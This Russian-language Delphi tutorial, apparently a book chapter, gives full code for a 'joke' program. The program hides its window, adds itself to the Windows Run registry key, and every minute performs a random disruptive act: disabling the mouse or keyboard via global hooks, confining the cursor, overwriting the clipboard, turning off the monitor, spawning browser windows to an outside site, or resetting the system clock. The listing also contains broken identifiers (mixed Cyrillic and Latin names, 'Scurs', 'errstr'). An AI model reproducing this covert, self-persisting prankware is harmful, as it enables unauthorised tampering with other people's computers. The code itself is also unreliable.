• Главная
• В избранное
• Наш E-MAIL
• Добавить материал
• Нашёл ошибку
• Вниз

Разработать программу, которая будет работать незаметно для пользователя и периодически выполнять выбранную случайным образом шуточную процедуру или функцию.

Создайте новый проект Delphi. Для того чтобы выполнять периодические действия, нам понадобится компонент Timer категории System. Программа будет выполнять каждую минуту случайно выбранную шутку. Для того чтобы таймер срабатывал каждую минуту, необходимо присвоить свойству Interval значение 60000. Больше никаких свойств ни для формы, ни для таймера изменять не нужно.

Первое, что нужно сделать для шуточной программы, — скрыть ее от глаз пользователя. Для этого достаточно создать обработчик события формы OnPaint и добавить в него следующий код:

procedure TForm1.FormPaint(Sender: TObject);

begin

 Form1.Hide; //прячем форму

end;

Здесь мы при каждой прорисовке формы скрываем ее из виду. При этом она не только будет скрыта визуально, но и исчезнет с панели задач, а также не будет отображаться на вкладке Приложения в диспетчере задач Windows.

Еще одно важное действие для нашей программы — реализация автозагрузки вместе с запуском ОС. Для этого создайте обработчик события главной формы OnCreate и добавьте в него следующий код:

procedure TForm1.FormCreate(Sender: TObject);

var

 reg:TRegistry;//переменная для работы с реестром

 path: string;//содержит путь к нашей программе

begin

 Randomize; //генератор случайных чисел

 //узнаем путь к программе и ее имя

 path:= Application.EXEname;

 reg:= TRegistry.Create;//открываем реестр

 //ветка текущего пользователя

 reg.RootKey:= HKEY_CURRENT_USER;

 //открываем раздел автозагрузки

 if reg.OpenKey('\Software\Microsoft\Windows\' +

  'CurrentVersion\Run', True)

 then begin

  //записываем ссылку на нашу программу в автозагрузку

  reg.WriteString('Joker', path);

  reg.CloseKey;//закрываем реестр

  reg.Free;//освобождаем память

 end;

end;

Чтобы это все работало, необходимо добавить в раздел uses ссылку на модуль Registry. Теперь все готово для создания программных шуток . Сначала объявим все глобальные переменные в разделе var:

var

 Form1: TForm1;

 //для отключения мыши и клавиатуры

 Dummy: integer = 0;

 OldKbHook: HHook = 0;

 //для снятия копии экрана

 ВМР1: Graphics.TBitmap;

 DC1: HDC;

 Image1: TImage;

 // для поиска случайного рисунка

 fn: TSearchRec;

 Finds: integer;

 i: integer;

 endval: integer;

 err_str: string;//вывод ошибки

 tm: TSystemTime; //изменение времени

 reg: TRegistry; //для работы с реестром

 JokeNum: shortint; //номер шутки, которую следует выполнить

 curs: TRect; //координаты прямоугольника

Все шутки будут описаны в обработчике события таймера OnTimer.

Добавьте в этот обработчик следующий код:

procedure TForm1.Timer1Timer(Sender: TObject);

begin

 JokeNum:= Random(10) + 1; //Выбираем случайный номер шутки

 case JokeNum of //выполняем шутку

 1: begin

  //код первой шутки

 end;

 2:

 begin

  //код второй шутки

 end;

 3: begin

  //код третьей шутки

 end;

 4: begin

  //код четвертой шутки

 end;

 5: begin

  //код пятой шутки

 end;

 6: begin

  //код шестой шутки

 end;

 7: begin

  //код седьмой шутки

 end;

 8: begin

  //код восьмой шутки

 end;

 9: begin

  //код девятой шутки

 end;

 10: begin

  //код десятой шутки

 end;

 end;

end;

Это шаблон для генератора шуток. Здесь выбирается случайное число от 1 до 10, которое будет определять, какую из шуток выполнить на этой минуте. Далее будут представлены фрагменты кода, выполняющие определенные действия, которые следует вставлять вместо комментария в соответствующую ветку конструкции case.

Итак, первая шутка заключается в наложении ограничения на диапазон движения мыши:

сurs:= Rect(0, 0, Screen.Width div 2, Screen.Height);

ClipCursor(@curs);

После этого указатель мыши можно будет перемещать только в одной половине экрана.

Вторая шутка будет более радикальной: используя перехваты функций, отключим кнопки мыши — ни левая, ни правая, ни средняя кнопка не будут выполнять никаких действий. Для этого напишите в разделе implementation следующую функцию:

function KbHook(code: Integer; wparam: Word; lparam: LongInt): LongInt; stdcall;

begin

 if code < 0 then

  Result:= CallNextHookEx(oldKbHook, code, wparam, lparam)

 else

  Result:= 1;

end;

После этого напишите код для второй шутки:

SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @Dummy,0);

SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @Dummy, 0);

OldKbHook:= SetWindowsHookEx(WH_mouse, @KbHook, HInstance, 0);

После этого ни одна из кнопок мыши функционировать не будет.

Используя функцию для отключения мыши, можно написать код для отключения клавиатуры. Напишите такой код для третьей шутки:

SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @Dummy, 0);

SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @Dummy, 0);

OldKbHook:= SetWindowsHookEx(WH_KEYBOARD, @KbHook, HInstance, 0);

Здесь вызывается та же функция, только вместо параметра WH_MOUSE ей передается WH_KEYBOARD. После этого клавиши на клавиатуре перестанут функционировать.

Четвертая шутка будет очищать буфер обмена и помещать туда собственный текст. Ее код:

ClipBoard.Open;//открываем буфер обмена

ClipBoard.Clear;//очищаем буфер обмена

//Помещаем в буфер обмена свой текст

Clipboard.asText:= 'Буфер обмена временно не работает!';

ClipBoard.Close; //закрываем буфер обмена

Для работы с буфером обмена необходимо добавить в раздел use ссылку на модуль clipbrd.

Пятая шутка будет делать копию экрана, сохранять этот рисунок, а затем назначать его в качестве фона для Рабочего стола. Вначале в разделе implementation напишем процедуру SetWallpaper, которая будет устанавливать фоновый рисунок:

procedure SetWallpaper(sWallpaperBMPPath: String; bTile: boolean);

begin

 reg:= TRegistry.Create;

 reg.RootKey:= hkey_current_user;

 if reg.OpenKey('Control Panel\Desktop', True) then

  reg.WriteString('Wallpaper', sWallpaperBMPPath); {ключ содержащий путь к bmp-файлу}

 //растянуть рисунок на весь экран

 reg.WriteString('TileWallpaper', '1');

 with reg do begin

  WriteString('Wallpaper', sWallpaperBMPPath);

  if bTile then begin

   WriteString('TileWallpaper', '1');

  end

  else begin

   WriteString('TileWallpaper', '0');

  end;

 end;

 reg.Free;

 SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, Nil, SPIF_SENDWININICHANGE);

end;

Информацию о фоновом рисунке Рабочего стола можно найти в реестре в ветке HKEY_CURRENT_USER по пути \Control Panel\Desktop. Параметр, содержащий название рисунка, называется wallpaper. То есть, для того чтобы сменить "обои" нам необходимо изменить значение параметра wallpaper и оповестить систему о том, что были внесены изменения в реестр. Последняя строка самая важная — она обновляет системные настройки.

Функция SystemParametersInfo имеет следующие параметры:

• действие, которое необходимо выполнить (в нашем случае SPI_SETDESKWALLPAPER — установка обоев);

• зависит от значения первого параметра;

• в нашем случае — путь к файлу с рисунком;

• в последнем параметре указывается, что необходимо сделать по сле выполнения всех действий. В данном случае мы должны обновить настройки системы — для этого выбираем SPIF_SENDWININICHANGE.

Код шутки в обработчике события таймера имеет следующий вид:

ВМР1:= Graphics.TBitmap.Create;

//задаем размеры рисунка такие же,как размеры экрана

BMP1.Height:= Screen.Height;

BMP1.Width:= Screen.Width;

DC1:=GetDC(0);

//Делаем копию экрана

BitBlt(BMP1.Canvas.Handle, 0, 0, Screen.Width, Screen.Height, DC1, 0, 0, SRCCOPY);

Form1.Visible:= True;//восстанавливаем окно нашей программы

Image1:= TImage.Create(nil);

BMP1.IgnorePalette:= True;

Image1.Picture.Assign(BMP1);

BMP1.SaveToFile('с:\1.bmp'); //сохраняем снимок в файл 1.bmp

SetWallpaper('с:\1.bmp', False); //назначаем снимок, как фон

Repaint; //обновляем

Здесь мы делаем копию экрана, сохраняем ее в файл и, вызывая процедуру SetWallPaper, назначаем в качестве фона Рабочего стола.

Раз уж мы написали процедуру, которая устанавливает фоновый рисунок, почему бы не использовать ее в нашей следующей шутке?

Шестая шутка будет заключаться в том, чтобы выбрать случайным образом рисунок из каталога Windows и сделать его фоновым:

endval:= Random(10) + 5; //для случайности выбора рисунка

//ищем все файлы с расширением *.bmp в каталоге Windows

Finds:= FindFirst('С:\Windows\*.bmp', faAnyFile, fn);

Finds:= Random(2); //случайное число, 0 или 1

//если выпала 1, то устанавливаем первый попавшийся рисунок

if Finds = 1 then SetWallpaper(fn.Name, False);

if Finds = 0 then begin //иначе…

 for i:=1 to endval do begin

  Finds:= FindNext(fn); // …ищем другие рисунки

  //выбираем любой другой рисунок и делаем его фоновым

  if i = endval – 3 then SetWallpaper(fn.Name, False);

 end;

end;

FindClose(fn); //завершаем поиск

Здесь мы перебираем все рисунки в каталоге Windows и случайным образом выбираем один из них в качестве фонового. Затем мы устанавливаем фон с помощью ранее созданной процедуры SetWallpaper.

Седьмая шутка будет выключать монитор. Для этого достаточно написать одну строку кода:

SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 1);

Восьмая шутка будет выводить сообщение об ошибке, но не простое, а содержащее огромное количество случайных чисел. Код этой шутки:

for i:=1 to 200 do begin

 case i of

 //после каждого 25-го числа – перенос на новую строку

 25,50,75,100,125,150,175,199: err_str:= err_str + #13#10;

 end;

 //текст "ошибки"

 err_str:= err_str + IntToStr(Random(99999));

end;

MessageDlg(errstr, mtError, [mbOk], 0); //выводим сообщение

В цикле от 1 до 200 выбирается случайное число от 0 до 99999. Все числа преобразовываются к символьному виду и добавляются к строковой переменной errstr. На каждом 25-м числе происходит перенос строки. В результате выдается примерно такое сообщение об "ошибке" как на рис. 14.1.

Рис. 14.1. Сообщение об "ошибке"

В девятой шутке мы будем открывать несколько (от 5 до 15) окон браузера Internet Explorer с попыткой зайти на сайт www.heel.nm.ru.

Код этой шутки:

for i:=1 to Random(10)+ 5 do //случайное число от 5 до 15.

 ShellExecute(0, 'open', 'C:\Program Files\lnternet Explorer\' +

  'IEXPLORE.EXE', 'www.heel.nm.ru', 0, SW_MAXIMIZE);

Чтобы использовать функцию ShellExecute, необходимо добавить в раздел uses ссылку на модуль ShellApi.

Последняя, десятая шутка будет устанавливать текущую дату 01.01.2000, и изменять текущее время на 00:00:01. Код этой шутки:

GetLocalTime(tm); //узнаем текущую дату и время

tm.wYear:= 2000; //устанавливаем год

tm.wMonth:= 01; //месяц

tm.wDay:= 01; //день

tm.wHour:= 0; //часы

tm.wMinute:= 0; //минуты

tm.wSecond := 1; //секунды

tm.wMilliseconds := 0; //мс

SetLocalTime(tm); //устанавливаем новую дату и время

Полный код программного модуля генератора шуток представлен в листинге 14.1.

unit Unit1;

interface

uses

 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, Registry, clipbrd, ShellApi;

type

 TForm1 = class(TForm)

 Timer1: TTimer;

 procedure Timer1Timer(Sender: TObject);

 procedure FormPaint(Sender: TObject);

 procedure FormCreate(Sender: TObject);

private

 { Private declarations }

public

 { Public declarations }

end;

var

 Form1: TForm1;

 //для отключения мыши и клавиатуры

 Dummy: integer = 0;

 OldKbHook: HHook = 0;

 //для снятия копии экрана

 ВМР1: Graphics.TBitmap;

 DC1: HDC;

 Image1: TImage;

 // для поиска случайного рисунка

 fn: TSearchRec;

 Finds: integer;

 i: integer;

 endval: integer;

 err_str: string;//вывод ошибки

 tm: TSystemTime; //изменение времени

 reg: TRegistry; //для работы с реестром

 JokeNum: shortint; //номер шутки, которую следует выполнить

 curs: TRect; //координаты прямоугольника

implementation

procedure SetWallpaper(sWallpaperBMPPath: String; bTile: boolean);

begin

 reg:= TRegistry.Create;

 reg.RootKey:= hkey_current_user;

 if reg.OpenKey('Control Panel\Desktop', True) then

  reg.WriteString('Wallpaper', sWallpaperBMPPath); {ключ содержащий путь к bmp-файлу}

 //растянуть рисунок на весь экран

 reg.WriteString('TileWallpaper', '1');

 with reg do begin

  WriteString('Wallpaper', sWallpaperBMPPath);

  if bTile then begin

   WriteString('TileWallpaper', '1');

  end

  else begin

   WriteString('TileWallpaper', '0');

  end;

 end;

 reg.Free;

 SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, Nil, SPIF_SENDWININICHANGE);

end;

function KbHook(code: Integer; wparam: Word; lparam: LongInt): LongInt; stdcall;

begin

 if code < 0 then

  Result:= CallNextHookEx(oldKbHook, code, wparam, lparam)

 else

  Result:= 1;

end;

{$R *.dfm}

procedure TForm1.Timer1Timer(Sender: TObject);

var

 JokeNum: shortint;

 curs: TRect;

begin

 JokeNum:= Random(10) + 1;

 case JokeNum of

  1: begin //Уменьшить диапазон движения мыши

   curs := Rect(0, 0, Screen.Width div 2,Screen.Height);

   ClipCursor(Scurs);

  end;

  2: begin //Отключить мышь

  SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @Dummy,0);

  SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @Dummy, 0);

  OldKbHook:= SetWindowsHookEx(WH_mouse, @KbHook, HInstance, 0);

  end;

  3: begin //отключить клавиатуру

   SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @Dummy, 0);

   SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @Dummy, 0);

   OldKbHook:= SetWindowsHookEx(WH_KEYBOARD, @KbHook, HInstance, 0);

  end;

  4: begin //Очистить буфер обмена

   ClipBoard.Open;//открываем буфер обмена

   ClipBoard.Clear;//очищаем буфер обмена

   //Помещаем в буфер обмена свой текст

   Clipboard.asText:= 'Буфер обмена временно не работает!';

   ClipBoard.Close; //закрываем буфер обмена

  end;

  5: begin // сделать копию экрана и назначить её фоном

   ВМР1:= Graphics.TBitmap.Create;

   //задаем размеры рисунка такие же,как размеры экрана

   BMP1.Height:= Screen.Height;

   BMP1.Width:= Screen.Width;

   DC1:=GetDC(0);

   //Делаем копию экрана

   BitBlt(BMP1.Canvas.Handle, 0, 0, Screen.Width, Screen.Height, DC1, 0, 0, SRCCOPY);

   Form1.Visible:= True;//восстанавливаем окно нашей программы

   Image1:= TImage.Create(nil);

   BMP1.IgnorePalette:= True;

   Image1.Picture.Assign(BMP1);

   BMP1.SaveToFile('с:\1.bmp'); //сохраняем снимок в файл 1.bmp

   SetWallpaper('с:\1.bmp', False); //назначаем снимок, как фон

   Repaint; //обновляем

  end;

  6: begin // Найти случайный рисунок и сделать его фоновым

   endval:= Random(10) + 5; //для случайности выбора рисунка

   //ищем все файлы с расширением *.bmp в каталоге Windows

   Finds:= FindFirst('С:\Windows\*.bmp', faAnyFile, fn);

   Finds:= Random(2); //случайное число, 0 или 1

   //если выпала 1, то устанавливаем первый попавшийся рисунок

   if Finds = 1 then SetWallpaper(fn.Name, False);

   if Finds = 0 then begin //иначе…

    for i:=1 to endval do begin

     Finds:= FindNext(fn); // …ищем другие рисунки

     //выбираем любой другой рисунок и делаем его фоновым

     if i = endval – 3 then SetWallpaper(fn.Name, False);

    end;

   end;

   FindClose(fn); //завершаем поиск

  end;

  7: begin //Выключить монитор

   SendMessage(Application.Handle, WM_SYSCOMMAND,

SC_MONITORPOWER, 1);

  end;

  8: begin //Сообщение об "ошибке"

   for i:=1 to 200 do begin

    case i of

    //после каждого 25-го числа – перенос на новую строку

    25,50,75,100,125,150,175,199: err_str:= err_str + #13#10;

    end;

    //текст "ошибки"

    err_str:= err_str + IntToStr(Random(99999));

   end;

   MessageDlg(errstr, mtError, [mbOk], 0); //выводим сообщение

  end;

  9: begin //Запуск Internet Explorer

   for i:=1 to Random(10)+ 5 do //случайное число от 5 до 15.

    ShellExecute(0, 'open', 'C:\Program Files\lnternet Explorer\' +

     'IEXPLORE.EXE', 'www.heel.nm.ru', 0, SW_MAXIMIZE);

  end;

 10: begin //Перевести время

   GetLocalTime(tm); //узнаем текущую дату и время

   tm.wYear:= 2000; //устанавливаем год

   tm.wMonth:= 01; //месяц

   tm.wDay:= 01; //день

   tm.wHour:= 0; //часы

   tm.wMinute:= 0; //минуты

   tm.wSecond := 1; //секунды

   tm.wMilliseconds := 0; //мс

   SetLocalTime(tm); //устанавливаем новую дату и время

  end;

 end;

end;

procedure TForm1.FormPaint(Sender: TObject);

begin

 Form1.Hide; //прячем форму

end;

procedure TForm1.FormCreate(Sender: TObject);

var

 reg:TRegistry;//переменная для работы с реестром

 path: string;//содержит путь к нашей программе

begin

 Randomize; //генератор случайных чисел

 //узнаем путь к программе и ее имя

 path:= Application.EXEname;

 reg:= TRegistry.Create;//открываем реестр

 //ветка текущего пользователя

 reg.RootKey:= HKEY_CURRENT_USER;

 //открываем раздел автозагрузки

 if reg.OpenKey('\Software\Microsoft\Windows\' +

  'CurrentVersion\Run', True)

 then begin

  //записываем ссылку на нашу программу в автозагрузку

  reg.WriteString('Joker', path);

  reg.CloseKey;//закрываем реестр

  reg.Free;//освобождаем память

 end;

end;

end.

⊚ Все файлы проекта и исполняемый файл рассмотренной программы находятся на прилагаемом к книге компакт-диске в папке Chapter_14.